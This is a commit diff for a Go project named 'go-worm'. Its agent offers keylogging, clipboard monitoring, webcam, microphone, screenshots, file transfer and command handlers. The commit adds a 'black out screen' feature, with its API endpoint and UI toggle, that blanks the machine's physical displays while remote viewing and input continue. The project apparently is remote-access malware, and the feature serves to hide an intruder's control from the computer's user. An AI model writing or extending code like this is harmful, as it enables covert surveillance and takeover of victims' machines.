feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol

lib/agent/agent.go

@@ -11,6 +11,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/blackout"
 	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
 func (a *Agent) Close() {
 	clipmon.Stop()
 	keylog.Stop()
+	blackout.Stop()
 	capture.Stop()
 	mic.Stop()
 	if a.guard != nil {
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
 	mux.HandleFunc("/api/v1/download", a.handleDownload)
 	mux.HandleFunc("/api/v1/upload", a.handleUpload)
 	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
+	mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
 	mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
 	mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
 	mux.HandleFunc("/api/v1/mic", a.handleMic)

lib/agent/handlers.go

@@ -14,6 +14,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/blackout"
 	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/command"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
 	w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
 	w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
 	w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
+	if blackout.Enabled() {
+		w.Header().Set("X-Screen-Blackout", "1")
+	}
 	_, _ = w.Write(frame.Data)
 }
 
+func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodGet:
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+	case http.MethodPut:
+		r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
+		defer r.Body.Close()
+		var body struct {
+			Enabled *bool `json:"enabled"`
+		}
+		if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
+			helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
+			return
+		}
+		if err := blackout.Set(*body.Enabled); err != nil {
+			helpers.Log.Printf("blackout: %v", err)
+			helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+			return
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+	}
+}
+
 func parseMicDevice(r *http.Request) (int, error) {
 	device := 0
 	if raw := r.URL.Query().Get("device"); raw != "" {

lib/agent/web/app.js

@@ -27,6 +27,7 @@
   const videoStop = document.getElementById("video-stop");
   const videoInteract = document.getElementById("video-interact");
   const videoKeyHint = document.getElementById("video-key-hint");
+  const videoBlackout = document.getElementById("video-blackout");
   const webcamCanvas = document.getElementById("webcam-canvas");
   const webcamMeta = document.getElementById("webcam-meta");
   const webcamDevice = document.getElementById("webcam-device");
@@ -680,7 +681,7 @@
     const width = bitmap.width;
     const height = bitmap.height;
     bitmap.close();
-    videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
+    videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
   }
 
   async function sendClick(event, button) {
@@ -737,6 +738,22 @@
     return false;
   }
 
+  async function loadBlackout() {
+    const res = await api("/api/v1/blackout");
+    const data = await res.json();
+    videoBlackout.checked = Boolean(data.enabled);
+  }
+
+  async function setBlackoutEnabled(enabled) {
+    const res = await api("/api/v1/blackout", {
+      method: "PUT",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ enabled }),
+    });
+    const data = await res.json();
+    videoBlackout.checked = Boolean(data.enabled);
+  }
+
   function setVideoTabActive(active) {
     if (videoTabActive === active) return;
     videoTabActive = active;
@@ -920,6 +937,9 @@
       document.getElementById(button.dataset.tab).classList.add("active");
       const onVideo = button.dataset.tab === "video";
       setVideoTabActive(onVideo);
+      if (onVideo) {
+        loadBlackout().catch((err) => showError(err.message));
+      }
       if (!onVideo) {
         stopVideo();
       }
@@ -1028,6 +1048,12 @@
     sendClick(event, "right").catch((err) => showError(err.message));
   });
   videoInteract.addEventListener("change", () => syncInteractable());
+  videoBlackout.addEventListener("change", () => {
+    setBlackoutEnabled(videoBlackout.checked).catch((err) => {
+      videoBlackout.checked = !videoBlackout.checked;
+      showError(err.message);
+    });
+  });
   document.querySelectorAll(".mod-btn").forEach((button) => {
     button.addEventListener("click", () => {
       if (!videoInteract.checked) return;

lib/agent/web/index.html

@@ -819,7 +819,7 @@
         <div class="panel-head">
           <div>
             <h2>Remote desktop</h2>
-            <p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
+            <p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
           </div>
           <div class="panel-actions">
             <button id="video-start" class="primary" type="button">Start</button>
@@ -841,6 +841,10 @@
             <input id="video-interact" type="checkbox">
             Interactable
           </label>
+          <label class="check">
+            <input id="video-blackout" type="checkbox">
+            Black out screen
+          </label>
         </div>
         <div class="stage">
           <canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>